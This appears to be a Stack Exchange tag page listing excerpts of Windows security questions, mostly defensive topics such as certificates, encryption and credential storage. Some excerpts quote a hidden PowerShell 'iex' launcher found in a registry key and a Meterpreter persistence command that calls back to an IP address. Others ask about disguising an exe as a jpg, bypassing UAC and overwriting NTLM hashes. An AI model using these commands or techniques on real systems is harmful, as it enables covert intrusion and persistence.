Related to security concerns specific to the Microsoft Windows operating system itself. For security of applications that happen to be running on Windows, please use [appsec]. For the X Window System, please use [x11].

learn more… | top users | synonyms

-7
votes
1answer
34 views

bind(merge) exe with jpg [on hold]

i have an exe file and a jpg file, i want to bind them into one executable(exe) file, in the way that when user double click on that executable: first image will shown to him then the exe file will ...
1
vote
0answers
38 views

Bypass UAC without meterpreter session?

I have a research project about "Malvertising". I try to show an attack by using metasploit and I am using a Flash Plugin to hack the victim (exploit/multi/browser/adobe_flash_hacking_team_uaf) This ...
1
vote
1answer
22 views

SHA-256 Timestamp not recognized in windows 7 when dual signed

I wanted to dual sign my exe so that the XP and Vista users can use the software. But when i dual sign the exe with SHA1 and SHA256 timestamps, In windows7 only 1 timestamp is shown. To dual sign I ...
0
votes
0answers
14 views

CertGetCertificateChain takes 15 seconds for chain building [migrated]

I have a semi-isolated Windows 10 system, which is not connected to public internet network but connected to local network. In my application I need to verify the trust status of the received ...
0
votes
0answers
29 views

InitializeSecurityContext takes 45 seconds to come out

For an expired certificate sent by a server, the InitializeSecurityContext function takes more than 45 seconds to come out with SEC_E_CERT_EXPIRED. Is there any configuration to avoid this much ...
0
votes
1answer
19 views

How can I determine the common cryptographic suites I need to enable on my browser for common websites?

How do I determine the common cryptographic suites I need to enable on my browsers (I use IE11, Firefox/Nightly 49, Chrome 51) running on Windows for common websites, for eg, www.google.com, ...
-4
votes
0answers
75 views

Why does this registry key keep getting recreated even if I delete it?

When I open my registry editor I see this: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ...
-4
votes
0answers
96 views

This guy claims no need to apply any Windows update or use Antivirus! Do you agree? [duplicate]

He said only need to block all incoming connections and use Chrome sandbox. You can read his claim and his other replies over here: ...
-2
votes
1answer
45 views

What are the risks of an open regedit.msc in Windows?

Curious as to what sort of damage can be done with an open registry. Is it worth it applying group policy that restricts registry edit access, or is this not necessary?
3
votes
2answers
237 views

Is it safe to not update Windows if you dont accept any incoming connections?

I see this guy shared his thought: How to be safe even without most updated Windows updates So he claims that as long as you do not accept any incoming connections and just use sandbox of Chrome, ...
2
votes
1answer
122 views

How can Windows 10 not have the password in memory?

I have read that Windows 10 does not hold the password in memory from the creator of mimikatz: Starting with 8.x and 10, by default, there is no password in memory. Exceptions: When ...
-1
votes
0answers
13 views

Beef installation problem in Windows 10 - 64 bit [migrated]

I am trying to install Beef in a WIndows 10 - 64 bit PC. I followed the instructions provided in the following link: https://github.com/beefproject/beef/blob/master/INSTALL.txt But I keep getting ...
0
votes
0answers
40 views

How to run a GUI program on windows as administrator on a user account? [migrated]

I am making a test program called ResourceManager(RMTest) that tries to access an image "resource.jpg" in the same directory. resource.jpg has access set to deny for all non administrator accounts on ...
0
votes
0answers
5 views

Contents of Users\Default folder in Windows [migrated]

Can you help me with two things: On a Windows machine, what does the folder named 'Default' (Found under Users\Default) contain? I have a slight idea that it serves as a template for different user ...
-1
votes
0answers
6 views

kill process by its own description [migrated]

I need help for killing putty.exe by searching process for it's description even if the user change the name and the class name ( win title ) for the putty.exe if process description on process list ...
13
votes
2answers
3k views

How does Internet Explorer know what text files I have viewed?

I am using Windows 8.1 and Internet Explorer 11. Each time I use File Explorer to view a .txt file the history of Internet Explorer shows that I viewed that file in pages visited on this PC. ...
1
vote
1answer
170 views

What threats are associated with using Teamviewer?

I was under the impression that Teamviewer is a safe form of remote control as: all of its traffic is encrypted; searching for Teamviewer exploits does not turn up anything. But I recently heard ...
0
votes
0answers
31 views

RDP Connection error Proxychains

I have a Remote Windows Server with RDP Enabled, Whenever i try to scan it's IP Using nmap <IP> It shows me Port 3389/tcp is Filtered (ms-wbt-server) , According to my Guess it must be Happening ...
1
vote
1answer
60 views

How can I protect named pipes in windows?

I have some misunderstanding regarding how to secure the communication of named pipes in windows For example, I have a windows service that talks with other processes via pipes, how can I make sure ...
-1
votes
1answer
27 views

SIM card used with smart card user certificate

Is it possible to put a smart card user certificate (Windows) on a SIM card? (SIM card already has telecom info on it). I'm using Win 2012 and have tried, but I am getting this error "smart card ...
5
votes
4answers
268 views

How can I safely test malware in a VM? [duplicate]

This question has probably been asked several times here, but I'll ask it a bit differently. I am trying to learn about malware and how it infects computers and how to disinfect a computer if one ...
4
votes
0answers
89 views

Are shatter attacks still possible in the days of User Interface Privilege Isolation?

Before Windows introduced User Interface Privilege Isolation, any application could send all kinds of window messages to any window on the same desktop (a shatter attack), allowing elevation of ...
0
votes
2answers
157 views

How can you be sure that there is a virus on your computer?

Am I being paranoid? I'm seeing signs of a virus everywhere on my computers but I have no way of being sure. I've tried scanning with Windows Defender multiple times but haven't found anything. My ...
-1
votes
1answer
50 views

Running an app in docker on Windows

If I run an app in a docker container using Kitematic, does that help protect my system from that app? I mean: does it prevent any problems if the app tries to damage the Operating System?
1
vote
1answer
43 views

How can I list all self-signed certificates in my stores on a Windows client?

I'm on a mission to list the self-signed certificates ('issued by' and 'issued to' match) on my machine via an automated method. PowerShell is available for use. Preferably the results would be ...
-1
votes
6answers
2k views

How to prevent illegal file transfer or copying of video files from a PC? [closed]

I have developed a windows desktop application using VB.NET. My applications main purpose is to play videos. I have some videos which has copyrights on them, that are not suppose to be distributed or ...
3
votes
0answers
90 views

Work wants to create an admin account on my system that I don't have access to? [closed]

This is on a Windows 10 system, and they want to create an administrator account that only my manager will have the password to. This is apparently to enforce some new "security policies" that haven't ...
0
votes
0answers
22 views

Scheduled tasks that need domain admin privileges

I have a Windows 10 box that runs a whole bunch of Powershell scripts, some of those contain cmdlets that need to be run against a DC, or mail server, for eg. Get-ADComputer, and ...
9
votes
1answer
377 views

Are keyboard hooks inherently malicious?

My software is using low-level keyboard and mouse Win32 hooks for legitimate reasons (if it's any relevant, it's for determining a change in the caret position of the active code pane in the VBA IDE). ...
0
votes
0answers
21 views

How can I do a Windows registry check with OpenVAS with out a port scan?

OpenVAS has the function to check Windows registries, but when i try to check a registry it also does a port scan. I used the scan configuration out off the manual. ...
1
vote
1answer
69 views

Multiple instances of programs allowed in Windows Firewall

I am new to Windows Firewall. While allowing a program through Windows Firewall, I found multiple entries present for Firefox and Java. Why is that?
0
votes
0answers
30 views

Can a virus execute without user interaction? [duplicate]

I have seen a lot of malware infection techniques where the user is infected by drive by downloads through browser vulnerabilities or social engineering. But is there a way that a virus could execute ...
3
votes
2answers
77 views

How to protect from WPAD attacks?

If you are in a Windows network, and you basically connect to a website ; And there is an attacker on Linux who changes the hostname to WPAD and configures WPAD.dat in his system, all your PC's ...
3
votes
1answer
140 views

How is encryption different for Windows yet they are identical?

I right clicked on C:\Users\USERNAME and did advanced -> enable encryption. On one laptop it turned green. The other it shows an icon on the files with a lock. What is the difference between these? ...
2
votes
1answer
147 views

Can Windows BitLocker encryption be broken by Live Boot?

I have a Windows system and I protected the drive with BitLocker encryption. Can BitLocker encryption be bypassed by live-booting with Linux or any other OS?
3
votes
2answers
143 views

How difficult is it to brute-force Windows EFS encryption?

With EFS I have C:\$USER\ encrypted so all files owned and used by said user are encrypted. If this laptop is stolen, am I correct that they could pull the microsoft user password hashes, crack ...
0
votes
0answers
18 views

Windows Server 2012 disable MFA for a single user?

I'm having issues with this for whatever reason. I created a new user and MFA is supposedly disabled but it doesn't seem to be true. Is there maybe something I've missed or is there an easier (more ...
1
vote
2answers
177 views

Would a RansomWhere application be possible for Windows too?

This is related to RansomWhere? which is a OS X specific defense developed by a former NSA employee. The premise is that it will "generically" stop ransomware from encrypting files on the OS. ...
3
votes
0answers
49 views

Will WinVerifyTrust return true for a file signed by a revoked certificate, before it was revoked?

I've seen mentions online that drivers that were signed by certificates that were later revoked are still trusted by Windows' driver integrity. Apparently if the file was signed before the revocation ...
0
votes
0answers
13 views

Does windows still use it's software based user keys when TPM-based EFS is enabled?

I have an infineon TPM installed, with ownership taken, and EFS enabled with the TPM taking control of EFS for me. I do know that regular EFS uses the windows user cryptography/login password to ...
4
votes
2answers
198 views

How do I protect my passwords from WebBrowserPassView?

I just got shocked with what can be achieved with WebBrowserPassView. It basically shows every password I've saved in my browser (Chrome). I guess other users on my PC could get my passwords that ...
1
vote
0answers
30 views

Change NTLM hash in memory on the lock screen?

Is there a way to change the ntlm hash in memory to bypass Windows login? For example, I have the NTLM hash of a Windows machine and I have physical access. Is possible to write the NTLM hash in ...
3
votes
1answer
68 views

What are some vulnerabilities of environment variables (on any platform)?

I am writing a small cross platform Python application (a package manager to be used internally by my corp), and I'm thinking of using something similar to this answer on Stack Overflow to check for ...
0
votes
0answers
38 views

Integrated Windows Authentication and Java/Unix

I have a specific scenario where we have existing ASP.NET Web applications/services hosted in IIS and accessible via Integrated Windows Authentication. The challenge is to have a new web application ...
2
votes
4answers
100 views

Assuming UAC is enabled, does a non-administrator account offer any security improvements?

I've been wondering: assuming a modern Windows edition (>= 7), and that UAC is enabled, what benefits are there if I additionally use the system as a standard user? From what I understand, the only ...
4
votes
1answer
105 views

How secure is the Windows Credential Manager?

I'm a Lastpass user and many times I thought about switching to the Credential Manager, for auto sync and a certain comfort with the windows environment. The only thing that I'm worried about is its ...
1
vote
1answer
58 views

How can I manually add login credentials through the Windows Credential Manager?

For example I'd like to add the Steam login credentials, since the browsers won't ask to save the password. Is there a way to do it manually? If I choose to add a new windows credentials and put in ...
7
votes
7answers
710 views

Does Windows 10 leak information about your IP address?

There are various reports of Windows 10 automatically sending out data when the user opens the start menu. Can that information or other information that Windows 10 automatically sends out to the ...
3
votes
1answer
100 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
15
votes
3answers
1k views

Is it safe to post dxdiag on the internet?

Is there any information that might be useful to damage me on the dxdiag.txt file generated by windows 7? A technical support forum from a big company (I guess they know what they're doing) asks me ...